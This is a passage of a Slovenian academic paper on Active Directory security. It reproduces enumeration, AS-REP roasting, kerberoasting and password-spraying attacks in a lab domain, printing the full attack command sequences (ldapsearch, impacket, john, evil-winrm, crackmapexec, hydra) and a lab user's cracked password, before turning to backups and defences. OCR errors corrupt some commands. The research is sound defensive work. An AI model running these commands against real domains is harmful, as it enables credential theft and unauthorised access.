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Povzetek. V clanku opisujemo Windows Active Directory ter moZnosti zasCite pred napadi, ki ogroZajo

uporabnike in integriteto podjetja, ki to storitev uporablja. Podrobno smo analizirali in reproducirali tri vrste

napadov: enumeracijski napad, napad Kerberos in napad s prSenjem gesel. Vsi trije napadi so usmerjeni proti

uporabnikom ter na razli¢ne nacine pridobivajo zgoS¢ene vrednosti gesel, ki jih napadalci s tehnikami grobe

sile nato pretvarjajo v dejanska uporabniska gesla. Tako lahko s povecanjem privilegijev pridobijo nepooblascen

dostop do omreznih virov in ogrozijo celotno infrastrukturo podjetja. V nadaljevanju predstavimo ustrezne

preventivne ukrepe za zasCito streZnika in najboljSe prakse za obrambo pred opisanimi napadi, kot so pravilna

konfiguracija Active Directory, okrepitev politike gesel in uvedba rednega spremljanja varnosti streZnika.

Kljucne besede: Windows Active Directory, enumeracijski napad, napad Kerberos, napad s pr§enjem gesel

Windows Active Directory Security Mitigating the Risks
of Kerberos and Password Spraying Attacks

This article describes Windows Active Directory and the
possibilities of protection against attacks that threaten users
and the integrity of the company that uses this service. We have
analyzed in detail and experimentally implemented three types
of attacks: enumeration attack, Kerberos attack and password
spraying attack. All three attacks are directed against users
and in various ways obtain hashed values of passwords, which
attackers then convert into actual user passwords using brute-
force techniques. With the obtained passwords, unauthorized
individuals can gain access to network resources, increase
privileges and compromise the entire company infrastructure.
We also present appropriate preventive measures for server
protection and best practices for defense against such attacks,
such as correct configuration of Active Directory, strengthe-
ning password policy and introducing regular monitoring of
server security.

Keywords: Windows Active Directory, enumeration attack,
Kerberos attack, password spraying attack

1 UVOD

Windows Active Directory (AD) je klju¢na tehnolo-
gija za upravljanje uporabnis$kih racunov, dostopa do
virov ter politik v vecjih podjetjih in organizacijah.
Omogoca upravljanje uporabniskih identitet in dovo-
ljenj ter omogocCa povezovanje uporabnikov z domeno,
omreZjem in aplikacijami. Zaradi klju¢ne vloge v okolju
Windows je AD pogosto tar¢a razlicnih napadov, ki
ogrozajo celovitost omreZja in podatkov [1].
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Pretekli primeri so pokazali, da je lahko sistem AD
izjemno ranljiv, ¢e niso vzpostavljeni ustrezni varno-
stni mehanizmi. Zgovoren primer je ranljivost Zerolo-
gon (CVE-2020-1472), ki napadalcem omogoci prevzem
nadzora nad celotnim omreZjem z izkori§¢anjem napake
v protokolu Netlogon. Ta napaka napadalcem omogoca,
da se avtorizirajo na domenskem nadzorniku in pridobijo
popoln dostop do omreZja [2]. Poleg tega so napadi ker-
beroasting na protokol Kerberos izpostavili Se eno ran-
ljivost, ki napadalcem omogoca zlorabo Sibko zasCitenih
uporabniSkih poverilnic, povezanih s storitvenimi racuni.
S pridobitvijo teh poverilnic lahko napadalci povecajo
privilegije uporabniskega racuna, s tem pa pridobijo
SirSi dostop do sistema in omreZja, kar vodi v nadaljnje
napade [3]. V danasSnjem casu, ko so kibernetski napadi
vse pogostejsi, je zaScita pred napadi na AD kljucnega
pomena za zagotavljanje varnosti sistema. Eno najbolj
ranljivih podroc¢ij v AD so uporabniski racuni, saj na-
padalci prek njih pogosto poskuSajo pridobiti dostop do
omreZnih virov in vi§jih privilegijev v sistemu [4].

V ¢lanku analiziramo tri glavne vrste napadov na Win-
dows AD — enumeracijske napade, napade Kerberos in
napade s prSenjem gesel — ter predstavimo klju¢ne me-
tode zascite pred njimi. V prvem delu opiSemo osnovne
funkcionalnosti AD, njegovo delovanje in sestavne dele.
Nato analiziramo tehnike, ki jih napadalci uporabljajo za
pridobivanje informacij o streZnikih in uporabnikih, ter
pojasnimo, kako Sibka gesla poveCujejo ranljivost sis-
tema. V zadnjem delu predstavimo Se kljuéne varnostne
ukrepe za zaSCito omrezja, vkljuéno z implementacijo
mocnih politik gesel, spremljanjem omreZnih protokolov
in odpravo zastarelih storitev. Prav tako izpostavimo
pomembnost varnostnih kopij in rednega spremljanja
omreZnih dnevnikov.
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2 PREGLED TEHNOLOGIJ

Windows Server je moderen strezniski operacijski sis-
tem, ki ponuja Stevilne varnostne funkcije za zascito
pred kibernetskimi groZnjami. Za podjetja, ki jim je
varnost prioriteta, so Se zlasti uporabne napredne varno-
stne funkcije, kot so Windows defender advanced threat
protection, shielded virtual machines, Windows admin
center in integracija z Azure AD. Windows Server je
zato idealen za rabo v financnem sektorju, zdravstvu
in javnem sektorju ter podjetjih, ki uporabljajo hibridne
reSitve v oblaku. Integracija s storitveno platformo Mi-
crosoft Azure omogoca varnostno kopiranje podatkov,
upravljanje aplikacij ter optimizacijo delovnih tokov, kar
poenostavi delovanje organizacij [4].

Za podjetja, ki delujejo v virtualnih okoljih, funkcija
shielded virtual machines zagotavlja Sifriranje podatkov
in preprecuje dostop nepooblasenim uporabnikom, kar
je kljucno za zascito obcutljivih informacij. Poleg tega
Windows Server podpira najnovejSo strojno opremo, kot
so diski NVMe SSD in napredne virtualne funkcije
hyper-V, kar zagotavlja boljSe upravljanje in hitrejSe
delovanje sistemov. Hyper-V omogoca ustvarjanje in
upravljanje virtualnih strojev v Windows Serverju, zato
je idealna za podjetja, ki Zelijo optimizirati delovanje
svojega podatkovnega centra z uporabo tehnologij, kot
sta neposreden dostop do strojne opreme in podpora za
varnostne izboljsave, vkljucno s Sifriranjem podatkov v
virtualnih okoljih. S funkcijami, kot sta “live migration”
za premikanje virtualnih strojev med streZniki brez izpa-
dov in podpora za zabojnike, hyper-V dodatno povecuje
ucinkovitost delovanja [5].

Windows Active Directory je nepogresljiva tehnolo-
gija za uinkovito in centralizirano upravljanje omreZja v
vecjih podjetjih in organizacijah. Informacije o objektih
v omreZju so shranjene v imeniku, metode za shra-
njevanje podatkov o imeniku in doloCanje posebnih
uporabnikov za dostop do teh podatkov pa zagotavljajo
storitve, kot je Active Directory Domain Controller (AD
DC). Podatki, ki jih hrani AD, vkljucujejo uporabnike,
racunalnike, vire, skupine, organizacijske enote, politike
in nastavitve, storitve, certifikate ter podatke o varnosti
[1]. Shranjeni podatki so uporabljeni v postopkih avto-
rizacije in overjanja uporabnikov, racunalnikov in virov
v organizaciji ter omogocajo dodeljevanje pravic in do-
stopa do virov na podlagi vnaprej doloCenih varnostnih
politik in skupinskih pravil. Ko je uporabnik prijavljen,
AD preveri njegove poverilnice (angl. credentials) in
pravice dostopa, ki mu omogocajo upravljanje podatkov
v omreZju. Pravice so dodeljene na podlagi njegovega
uporabniSkega racuna, povezanega z razli¢nimi objekti
in atributi, kot so uporabniSka imena, gesla, skupine,
pravice do virov in druge nastavitve [6].

AD temelji na hierarhi¢ni strukturi ter nudi storitve
za shranjevanje in upravljanje informacij o objektih v
omreZju. Storitev Domain Services (AD DS) zagota-
vlja centralizirano shranjevanje podatkov ter upravljanje
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Slika 1 Objekti v AD.

komunikacije med uporabniki in domeno, vklju¢no s
prijavnim overjanjem, iskanjem virov in dodeljevanjem
pravic. Certificate Services (AD CS) je namenjen izdaji,
upravljanju in deljenju digitalnih certifikatov ter zago-
tavlja podporo za infrastrukturo javnih kljucev (PKI)
in s tem zas¢ito komunikacij in podatkov z uporabo
Sifriranja. Directory Federation Services (AD FS) upo-
rabnikom omogoca dostop do vec spletnih aplikacij z
eno samo prijavo (SSO), tudi zunaj poZarnega zidu
podjetja. Rights Management Services (AD RMS) pa
SCiti avtorske pravice in preprecuje nepooblascen dostop
ter distribucijo digitalnih vsebin s pomocjo Sifriranja
in selektivnega zavraCanja dostopa do dokumentov, kot
so e-poStna sporocila, dokumenti v formatu Microsoft
Word in spletne strani [7].

Logicna struktura AD vkljuCuje objekte, gozdove,
drevesa, domene in particije, kot je prikazano na sliki
1, fizi€no strukturo pa sestavljajo nadzorniki domen,
strezniki globalnega kataloga in strani AD, ki zagota-
vljajo delovanje, razpolozljivost in dostop do teh podat-
kov v omrezju [8].

Objekti v AD so predstavljeni kot fizi¢ne entitete
in zajemajo uporabnike, tiskalnike, spletne strani in
podomreZja, vsi pa so opisani z atributi, ki vsebujejo
podatke o zaposlenih ali drugih objektih. Objekti AD
se delijo na takSne, ki lahko shranjujejo druge objekte
(angl. Container objects), kot je domena, in preostale, ki
ne morejo shraniti drugih objektov (angl. Leaf objects),
to so racuni. Security Principal Object je objekt, ki pred-
stavlja uporabnika, raCunalnik ali skupino z varnostnimi
identifikatorji (SID) in lahko pridobi ali dodeli dostop
do virov v omreZju. Zaradi velikega Stevila objektov je
vsakemu dodeljen 128-bitni unikatni globalni identifi-
kator (GUID) in je v primeru izbrisa objekta odstranjen
[9].

Domena kot osnovna enota za upravljanje in varnost v
AD vsebuje vse objekte, ki so del doloCene organizacije
ali omreZja, in podpira upravljanje varnostnih politik,
uporabniSkih racunov ter pravic dostopa do virov. Vsaka
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domena ima edinstveno ime ter omogoca centralizirano
prijavo in preverjanje pristnosti.

Drevo domen (angl. Domain tree) zajema vel
razliénih domen, ki si delijo skupno shemo in konfigu-
racije, s ¢imer oblikujejo sosednji imenski prostor, kar
pomeni, da je med njimi urejena stopnja zaupanja. Ce
torej med domenami X, Y in Z v imenskem prostoru
domena X zaupa domeni Y ter domena Y zaupa domeni
Z, pomeni, da tudi domena X zaupa domeni Z. Uporab-
nik lahko v tem primeru uporablja vire vseh domen,
razen Ce je dostop posebej omejen. Obstajajo razli¢ni
tipi zaupanja: enosmerno zaupanje (angl. one-way trust),
dvosmerno zaupanje (angl. two-way trust), prehodno
(angl. transitive) in nepregledno zaupanje (angl. non-
transitive). V primeru prehodnega zaupanja se to lahko
raz§iri tudi na druge domene, medtem ko nepregledno
zaupanje tega ne dopusca.

Gozd v AD je najviSja raven v strukturi imenika in
predstavlja varnostno mejo, znotraj katere lahko obsta-
jajo drevesa domen. Gozd lahko vsebuje eno ali vec
dreves domen, pri ¢emer si vse domene v gozdu delijo
skupno shemo, konfiguracijo in globalni katalog [10].
V gozdu je shema tista, ki doloca vrste objektov in
lastnosti, dovoljenih v imeniku, medtem ko globalni ka-
talog hrani delno kopijo objektov v gozdu, kar omogoca
iskanje po vseh domenah. Poleg tega zaupnice med
domenami v gozdu zagotavljajo brezskrbni dostop do
virov med domenami [11].

Particije dolocCajo, kateri podatki so shranjeni v
doloceni domeni, drevesu ali gozdu, ter podpirajo
ucinkovito razporeditev podatkov in zmanjSanje obreme-
nitve omreZja. Najpogosteje se uporabljajo za loCevanje
podatkov o uporabnikih, skupinah, racunalnikih in dru-
gem [11].

Domenski nadzornik (angl. domain controller) je
streznik, ki izvaja vlogo directory domain services (AD
DS). Glavna naloga domenskega nadzornika sta over-
janje in avtorizacija vseh uporabnikov in racunalnikov
v omreZju. Ob prijavi uporabnika v racunalnik, ki je
del domene Windows, opredeli vlogo uporabnika kot
skrbnika sistema ali kot obiajnega uporabnika. Domen-
ski nadzornik omogoca tudi upravljanje in shranjeva-
nje informacij ter postavlja okvir za namestitev drugih
povezanih storitev, kot so Certificate Services, Active
Directory Federation Services, Lightweight Directory
Services in Rights Management Services [12].

Strezniki globalnega kataloga (angl. Global catalog
servers) vsebujejo kopije objektov v gostiteljski domeni
(angl. host domain) in delne kopije objektov drugih
domen istega drevesa. Delna kopija zajema objekte v
drevesu in njihove najpogostejSe atribute [13]. StreZnik
omogoca tudi iskanje po vseh objektih, vklju¢no z
iskanjem in preverjanjem prisotnosti uporabnikov. Ce
domena ni dosegljiva, lahko nekatere podatke torej vse-
eno preverimo.

Strani AD (angl. AD sites) so fizi¢na topologija
omreZja in so lahko loene glede na geografske raz-

dalje, omreZne povezave in S§irino pasu. Z njihovo
uporabo se izboljSa upravljanje prometa, saj streZniki
znotraj iste strani komunicirajo neposredno, strani pa
omogocajo tudi boljSe usklajevanje kopiranja podat-
kov med razli¢nimi streZniki v omreZju. Ob morebitni
spremembi fiziCne topologije je treba spremeniti tudi
konfiguracijo strani [13].

Windows server
Active Directory

W

192.168.56.107/24
10.0.2.15 (NAT)

Attacker Router

[a]—&

Network: 192.168.56.0/24

Subnet Mask: 255.255.255.0

Host Range: 192.168.56.1 - 192.168.56.254
Gateway/Router IP: 192.168.56.1

192.168.56.109/24
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Slika 2 Shema omreZne infrastrukture.

3 METODOLOGIJA NAPADOV IN ZASCITE
3.1 Napadi

Napad z enumeracijo uporabnikov je proces pridobi-
vanja ali odkrivanja uporabniskih imen v uporabniski
podatkovni bazi. Za izvedbo napada je potrebna napaka
v sistemu, ki izpostavlja podatke v stanju dolocenega
uporabnika. Gre za napad grobe sile, kar pomeni, da z
ugibanjem pridobimo skrite informacije. [14]. Napad z
enumeracijo napada tri protokole — NetBIOS, LDAP,
SNMP enumeration — in lahko v skrajnem primeru
napadalcu zagotovi tudi popoln dostop do naprave upo-
rabnika.

Napad Kerberos se izvaja po zakljuenem zbiranju
informacij in raziskovanju. Izkori§¢a overitveni protokol
Kerberos s krajo vozovnic (angl. tickets), ki jih pretvori
iz zgoScene vrednosti gesla (angl. hash) v tekstovno
geslo. Nacin prepreCevanja napadov Kerberos je uporaba
vecstopenjskega overjanja [15].

PrSenje gesel (angl. password spraying) je druga vrsta
napada grobe sile (angl. brute-force), kjer napadalec po-
skuSa ugotoviti, ali so obi¢ajna ali pogosto uporabljena
gesla povezana z razli¢nimi uporabniskimi imeni. Name-
sto da bi napadalec preizkusil vse mogoce kombinacije
gesel za enega uporabnika, kar je znacilno za napad
grobe sile, prSenje gesel vkljucuje uporabo omejenega
Stevila pogostih gesel na Sirokem Stevilu uporabniskih
racunov [16].

3.2 Uporabljena orodja

Vse napade smo izvajali v virtualnem okolju, da smo
zagotovili varno testiranje in simulacijo napadov. Za
njihovo izvajanje smo uporabili virtualno napravo, ciljni
sistem pa je predstavljal virtualni Windows Server. Za
napadalCev operacijski sistem smo izbrali Kali Linux,
saj vkljucuje Stevilna koristna orodja za analizo, zbiranje
informacij in izvajanje napadov.

Kali Linux je vodilna platforma za preizkusSanje pe-
netracije, ki jo uporabljajo strokovnjaki za varnost na
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podrocjih forenzike, obratnega inZenirstva in ocenjeva-
nja ranljivosti [17]. Vsebuje orodja Metasploit, Nmap,
Wireshark, Burp Suite in druge, ki so uporabna za pre-
poznavanje ranljivosti v omreZjih, preverjanje varnosti
aplikacij, izkoriS€anje ranljivosti v sistemih in izvaja-
nje analiz omreZnega prometa. Poleg tega Kali Linux
omogoca tudi izvajanje napadov, kot so ponarejanje
DNS (angl. DNS spoofing), lazno predstavljanje (angl.
phishing) in napadi z grobo silo (angl. brute force), ter
je zato popolna platforma za varnostne strokovnjake, ki
Zelijo preizkusiti zascito svojih sistemov in omreZij [18].

Za uspesno komunikacijo med napravama in izvedbo
napadov na ciljno infrastrukturo je pomembno, da sta
obe virtualni napravi povezani v isto notranjo mrezo
(npr. prek nastavitve “host-only network™ ali “internal
network™ v virtualizacijskem okolju, kot sta VirtualBox
ali VMware).

3.3 Napadeni protokoli

Ranljivost sistema je napadalec iskal v protokolih
ARP, SMB, LDAP, Kerberos, DNS, NetBios in RPC.

Address resolution protocol (ARP) je kljucni protokol
na drugem nivoju OSI-modela, ki omogoca preslikavo
logi¢nih IP-naslovov v fizicne MAC-naslove. Protokol
posilja ARP povpraSevanja v obliki oddanih sporocil
(angl. broadcast) znotraj lokalnega omreZja, naprava, ki
zazna ujemanje z naslovom povprasevanja, pa odgovori
z lastnim MAC-naslovom, s ¢imer je vzpostavljena
moznost direktne komunikacije na fizi¢ni ravni [19].

Server message block (SMB) je protokol visjega ni-
voja, zasnovan za skupno rabo datotek, tiskalnikov in
drugih virov v racunalniSkih omreZjih. SMB odjemal-
cem omogoca, da pridobijo dostop do oddaljenih virov
in izvajajo operacije, kot so branje, pisanje in upravljanje
datotek. Protokol po navadi uporablja vrata TCP 445
[20].

Lightweight directory access protocol (LDAP) je pro-
tokol za dostop do imenikov, kjer so shranjene organi-
zirane informacije o uporabnikih, napravah in omreZznih
virih. LDAP podpira iskanje, branje in urejanje podatkov
v imenikih, ki temeljijo na standardu X.500. Protokol je
pogosto uporabljen v sistemih za preverjanje identitete,
kot je Microsoft AD, in podpira Sifriranje prek TLS/SSL
za varno komunikacijo [21].

Remote procedure call (RPC) je tehnologija, ki
omogoca izvajanje funkcij v porazdeljenih sistemih.
Odjemalec poslje zahtevo za izvajanje doloCene funkcije
na oddaljenem streZniku, omreZzna komunikacija pa se
izvaja transparentno za razvijalce. RPC pogosto upora-
blja dinami¢no dodeljena omreZna vrata, ki jih usklajuje
preslikovalnik (angl. mapper) na omreZznih vratih 135, in
ima klju¢no vlogo v vecslojnih aplikacijah [22].

Domain name system (DNS) je hierarhicni sistem
za pretvorbo domenskih imen v IP-naslove, s Cimer
zagotavlja ucinkovito usmerjanje prometa na internetu.
Strezniki DNS so odgovorni za shranjevanje in ra-
zreSevanje imen z uporabo rekurzivnih in iterativnih

TAINSEK, PESEK

poizvedb. Protokol uporablja vrata 53 za komunikacijo
prek UDP (za poizvedbe) ali TCP (za prenos velikih
odgovorov in prenose obmocij)[23].

Kerberos je protokol za varno preverjanje identitete
uporabnikov in storitev v omreZju. Klju¢ni razdeljevalni
center (KDC) kot glavna komponenta sistema vsebuje
dve glavni storitvi — overjanje storitev (AS) in storitev
za izdajo vstopnic (TGS). Postopek overjanja v Kerbe-
rosu poteka v veC korakih. Ko uporabnik vpiSe svoje
uporabniSko ime in geslo, odjemalec na KDC poslje
zahtevo za overjanje. KDC preveri uporabnikovo geslo,
ki se prek omreZja nikoli ne posilja nesifrirano, in v pri-
meru uspesne overitve vrne vstopnico, Sifrirano s skriv-
nim klju¢em KDC [23]. Uporabnik se s to vstopnico
nato vpiSe v Zeleno storitev. Za za$cito komunikacije
se v vseh korakih uporabljajo Sifrirani sejni kljuci, ki
omogocajo preverjanje identitete in dostop do storitev
brez nevarnosti ponarejanja identitete ali ujetih gesel.

4 EXSPERIMENTALNI NAPAD NA
WINDOWS AD IN ZASCITA SISTEMA

4.1 Priprave na napad

Priprava na napad vkljuCuje zbiranje informacij in
analizo napadene infrastrukture z namenom prepoznava-
nja ranljivosti ter potencialnih vstopnih tock. Pripravili
smo skripto Bash (seznam 1), ki uporabi orodje arp-scan
za skeniranje vseh internetnih prikljuckov, dostopnih
iz naprave, ki izvaja napad. Na ta nacin pridobimo
IP-naslove, prek katerih lahko napademo streznik, z
ukazom ping pa preverimo, ali je naprava dosegljiva.
V tabeli 1 so navedeni ukazi, ki smo jih uporabili
za izvajanje napadov, s kratkim opisom posameznega
ukaza.

Seznam 1 Bash skripta za izvedbo ARP-skeniranja.
#!/bin/bash

interfaces=$(ip -o link show | awk -F’:_/ ’{
print_$2}’ | grep -v lo)

for iface in S$interfaces; do

echo '‘‘Scanning on interface: $iface’’
sudo arp-scan —-interface=\‘‘$iface’’ --—
localnet
echo NN rr
done

V naslednjem koraku preverimo, katera vrata so od-
prta na IP-naslovu in storitve, ki te€ejo na strezniku z
ukazom nmap.

nmap -sV -sC -vv —-p—- -Pn IP

Pri tem posamezna stikala definirajo naslednje vrednosti:

e -sV: izpiSe razliCice storitev.

o -sC: isCe skripte.

e -VV: poveca natancnost izpisa.

e -p-: skenira vsa privzeta vrata.

-Pn: preverja dosegljivost gostitelja z ukazom ping.
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Tabela 1 Ukazi za izvajanje napadov

Ukaz Uporaba
arp-scan Poisce naprave v lokalnem omrezju z
uporabo ARP-poizvedb.
nmap Skenira omreZzja, odprta vrata, storitve
in informacije o operacijskem sistemu.
smbmap Preiskuje SMB deljene mape in dosto-

pne pravice.

Enumé4linux-ng Zbira informacije o SMB in LDAP, kot

so uporabniki in deljene mape.

rpeclient Poveze se z Microsoft RPC za pri-
dobivanje informacij o uporabnikih in

skupinah.

crackmapexec Preverja poverilnice, iS¢e ranljivosti in
omogoca izvajanje ukazov prek SMB,

RDP in WinRM.

smbclient Omogoca pregled in prenos datotek iz

SMB deljenih map.

Idapsearch Pridobiva informacije iz imenikov, kot

je AD, prek LDAP.

impacket-GetNPUsers Izvaja kerberoasting za pridobivanje

poverilnic.

john Razbija gesla iz hashev, pridobljenih iz
sistemov.

evil-winrm Omogoca oddaljeno izvajanje ukazov
prek WinRM z uporabo poverilnic.

hydra Izvaja napade z ugibanjem gesel (brute

force) na razli¢ne storitve, kot so SMB,
SSH in RDP.

S seznama 2 je razvidno, da napadena naprava upora-
blja protokole SMB, LDAP, Kerberos in druge. Pridobili
smo informacijo o tem, katera vrata so odprta ter katere
storitve in razliCice uporabljajo. Te informacije pripo-
morejo k uc¢inkovitejSemu iskanju ranljivosti in izvajanju
napadov.

Seznam 2 Izpis ukaza nmap.

$ nmap -sV -sC -vv -p- -Pn 192.168.56.107

Host discovery disabled (-Pn). All addresses
will be marked ‘up’ and scan times may be
slower.

Starting Nmap 7.94SVN ( https://nmap.org ) at
2024-12-09 14:10 EST

PORT STATE SERVICE REASON
VERSION

53/tcp open domain syn—-ack ttl 128
Simple DNS Plus

88/tcp open kerberos-sec syn-ack ttl 128

Microsoft Windows Kerberos
2024-12-09 19:11:202)
135/tcp open msrpc
Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 128
Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 128
Microsoft Windows Active Directory LDAP (

(server time:

syn-ack ttl 128

Domain: skypia.org0O., Site: Default-First-
Site-Name)
445/tcp open microsoft-ds syn-ack ttl 128

Windows Server 2019 Standard Evaluation
17763 microsoft-ds (workgroup: skypia)
464/tcp open kpasswdb5? syn—ack ttl 128
593/tcp open ncacn_http syn—-ack ttl 128
Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 128
3268/tcp open ldap syn-ack ttl 128
Microsoft Windows Active Directory LDAP (

Domain: skypia.org0O., Site: Default-First-
Site-Name)
3269/tcp open tcpwrapped syn—-ack ttl 128
5985/tcp open http syn—ack ttl 128
Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found

|_http-server-header: Microsoft-HTTPAPI/2.0

9389/tcp open mc-nmf syn—-ack ttl 128
NET Message Framing

47001/tcp open http
Microsoft HTTPAPI httpd 2.0

syn—-ack ttl 128
(SSDP/UPNP)

Opomba: Terminalski izpis je zaradi jasnosti skrajsan.

CrackMapExec (CME) je orodje za izvajanje varno-
stnih testiranj v omreZjih Windows, ki omogoca eno-
stavno izvajanje ve¢ napadov na SMB, RDP (angl.
remote desktop protocol), Windows remote management
(WinRM) in druge protokole. CME omogoca tudi iz-
vajanje napadov s prSenjem gesel in ponovno uporabo
poverilnic.

V nasem eksperimentu smo z uporabo CrackMapExec
izvedli pregled sistema, pridobili ime domene in razli¢ne
informacije o razlicici sistema. Ugotovili smo, da ciljna
naprava uporablja SMBvI, ki je zastarel in ranljiv pro-
tokol.

Seznam 3 Izpis ukaza crackmapexec.

crackmapexec smpb 192.168.56.107
SMB 192.168.56.107 445 WIN-
Q3HIVQTGCSH [*] Windows Server 2019

Standard Evaluation 17763 x64 (name:WIN-
Q3HIVQTGCSH) (domain:skypia.org) (signing:
True) (SMBvl:True)

4.2 Izvedba napada

Deljene mape v ciljnem sistemu smo najprej preverili
z orodjem smbmap. Na ta nacin smo preverili, ali so
v sistemu na voljo mape ali datoteke, ki vsebujejo
obcutljive podatke ali omogocajo nadaljnje raziskovanje
sistema. Nato smo z uporabo orodja enum4linux-ng
izvedli zbiranje informacij o sistemu prek SMB, za kar
smo uporabili ukaz enum4linux-ng + [IP naslov].

Z ukazom smbclient -L. smo izpisali seznam deljenih
virov na SMB-strezniku (seznam 4). Ukaz smo izvedli
brez poverilnic in s tem testirali tudi moZnosti nepo-
oblas¢enega dostopa. Rezultati so razkrili ve¢ deljenih
virov, vkljuéno z mapami NETLOGON in SYSVOL, ki
so znacilne za okolja AD.

Seznam 4 Izpis ukaza smbclient.

s

smbclient -L 192.168.56.107 -U

smbclient: Ignoring: /etc/krb5.conf:72: missing

smbclzént: Ignoring: /etc/krb5.conf:72: missing

Passwo:rd for [WORKGROUP\] :

smbclient: Ignoring: /etc/krb5.conf:72: missing

smbcl;ent: Ignoring: /etc/krb5.conf:72: missing
Sharename Type Comment
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smbclient: Ignoring: /etc/krb5.conf:72: missing
smbclient: Ignoring: /etc/krb5.conf:72: missing
ADMINS Disk Remote Admin
c$ Disk Default share
Common Disk
IPCS IPC Remote IPC
NETLOGON Disk Logon server
share
SYSVOL Disk Logon server
share

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.107 failed
(Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup
available

V orodju rpcclient za poizvedbe Microsoftove
RPC-storitve smo uporabili ukaz enumdomusers (5),
ki je namesto seznama vrnil sporodilo o zavrni-
tvi (NT_STATUS_ACCESS_DENIED). Dostop do se-
znama uporabnikov domene je torej omejen oziroma
zahteva ustrezne poverilnice.

Seznam 5 Izpis ukaza rpcclient.

rpcclient -N -U 7’ 192.168.56.107
rpcclient: Ignoring: /etc/krb5.conf:72: missing

rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED

Z orodjem ldapsearch smo izvedli poizvedbo na vseh
uporabnikih v imeniku (6). Rezultati so razkrili po-
drobne informacije o uporabnikih, vklju¢no z njihovim
uporabni$kim imenom in atributom sAMAccountName,
ki je uporaben za nadaljnje napade, npr. kerberoasting.
Dostopali smo lahko tudi do dodatnih informacij, kot
so uporabniSke skupine, nastavitve raCuna in zadnji Cas
prijave, napad z enumeracijo uporabnikov pa smo
zakljucili z besedilno datoteko, kamor smo shranili vsa
uporabniSka imena.

Seznam 6 Prvi ukaz prikaze vse podatke o uporabniku, drugi
pa zgolj uporabni$ko ime.

ldapsearch -H ldap://192.168.56.107 -x -b"‘DC=
skypia,DC=org’’

lapsearch —-H ldap://192.168.56.107 -x —-b‘DC=
skypia,DC=org’’ ' (objectClass=User)’ "
sAMAccountName’’ | grep ‘‘sAMAccountName’’

Za Kerberos napad (seznam 7) smo najprej uporabili
orodje Impacket-GetNpuUSers. Z ukazom smo napadli
uporabnika z onemogocenim overjanjem in tako pri-
dobimo Sifrirano poverilnico njegovega uporabniskega
racuna. Za razbijanje gesel z uporabo vnaprej pripravlje-
nih besedilnih seznamov smo uporabili orodje John the
Ripper, odkrite poverilnice pa so omogocile vzpostavitev
oddaljene seje prek protokola WinRM z orodjem Evil-
WinRM. Na ta nacin smo lahko dostopali do sistema
napadenega uporabnika, postopek pa smo ponovili pri
vseh uporabnikih.

Seznam 7 Ukazi za Kerberos napad.
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impacket-GetNPUsers -dc-ip 192.168.56.107 -
request ’skypia.org/’

john —--format=krbSasrep --wordlist=/usr/share/
wordlists/rockyou.txt poskusl.txt

rpcclient -U ‘‘jemmie.blondell’’ 192.168.56.107

evil-winrm -i 192.168.56.107 -u jemmie.blondell

smbmap —-H 192.168.56.107 -u ‘‘jemmie.blondell
'’ -p winter

V naslednjem koraku smo preverili, ali lahko s pra-
vicami napadenega uporabnika pridobimo dostop do
drugih storitev v sistemu in ob zagonu orodja impacket-
GetUserSPNs (8) ugotovili, da veC storitev uporablja
zastarele poverilnice.

Seznam 8 Ukaz za preverjanje dostopa do drugih storitev.

impacket-GetUserSPNs —-dc-ip 192.168.56.107 -
request skypia.org/penni.andrea:computer

john —-format=krb5tgs mssql_svc —--wordlist=/usr
/share/wordlists/rockyou.txt

evil-winrm —-i 192.168.56.107 —-u mssgl_svc

Pri napadu s prSenjem gesel smo preverjali, ali
kateri od uporabnikov v sistemu uporablja preprosto
geslo. Na spletu smo izbrali pet pogostih gesel in jih
shranili v datoteko, nato pa izvedli dva ukaza (seznam
9), usmerjena na dve razli¢ni storitvi, SMB in RDP.

Seznam 9 Ukazi za napad s prSenjem gesel.

crackmapexec smb 192.168.56.107 -u users.txt -p
password.txt —--continue-on-success

hydra -L users.txt -P password.txt -s 445 smb
://192.168.56.107

4.3 Preventivni ukrepi

Z varnostnim kopiranjem podatkov se lahko zaScitimo
pred morebitnimi izsiljevalskimi napadi, pri katerih na-
padalec zaSifrira podatke in zahteva odkupnino v za-
meno za kriptografski klju¢. Za namen varnostnega
kopiranja smo v nastavitvah VirtualBox najprej ustva-
rili nov disk v virtualnem prostoru in nealociran pro-
stor v Windows Serverju preimenovali v disk G. Tam
smo z uporabo orodja za varnostno kopiranje wbadmin
ustvarili kopijo podatkov. Priporocljivo je, da je kopija
namescena tudi na drugo napravo, ki ni v dosegu na-
padalca. Ko smo zakljucili varnostno kopiranje, smo na
streznik dodali ukaze za tedensko posodabljanje kopije.
Postopek je predstavljen tudi na seznamu 10, zadnji
ukaz pa prikazuje nacin obnovitve podatkov v primeru
napada.

Seznam 10 Ukazi za varnostno kopiranje in obnovitev
podatkov.

PS C:\Users\Administrator> wbadmin start
systemstatebackup -backupTarget:G: -quiet

wbadmin get versions

wbadmin start systemstaterecovery -version:ime\
_verizije -backupTarget:D: -quiet

# ukazi za izdelavo tedenskega posodabljanja
varnostne kopiije

SAction = New-ScheduledTaskAction -Execute '
wbadmin’’ -Argument ‘‘start

systemstatebackup -backupTarget:G: —-quiet’’



VARNOST WINDOWS ACTIVE DIRECTORY ZMANIJSEVANIE TVEGANJ NAPADOV KERBEROS IN PRSENJA GESEL 209

$Trigger = New-ScheduledTaskTrigger -Weekly -
DaysOfWeek Friday -At ‘‘'00:00AM’’

$Task = New-ScheduledTask —-Action $Action -
Trigger $Trigger -Description " ‘Weekly
Active Directory Backup’’

Register—-ScheduledTask -TaskName
—-InputObject $Task

“‘AD_Backup’’

# ukazi za povrnitev na zadnjo verzijo

wbadmin get versions

wbadmin start systemstaterecovery —version:ime\
_zadnje\_verzije -backupTarget:D: —quiet

4.4 Zascita pred napadi

Privzete varnostne nastavitve operacijskega sistema
Windows pogosto ne zagotavljajo zadostne zascite pred
napadi, zato je ena klju¢nih nalog administratorja nji-
hova prilagoditev in uvedba dodatnih varnostnih meha-
nizmov. Prvi tipi politik, ki so vplivale na zasc¢ito pred
nepooblascenim dostopom, so bile politike za zaklep
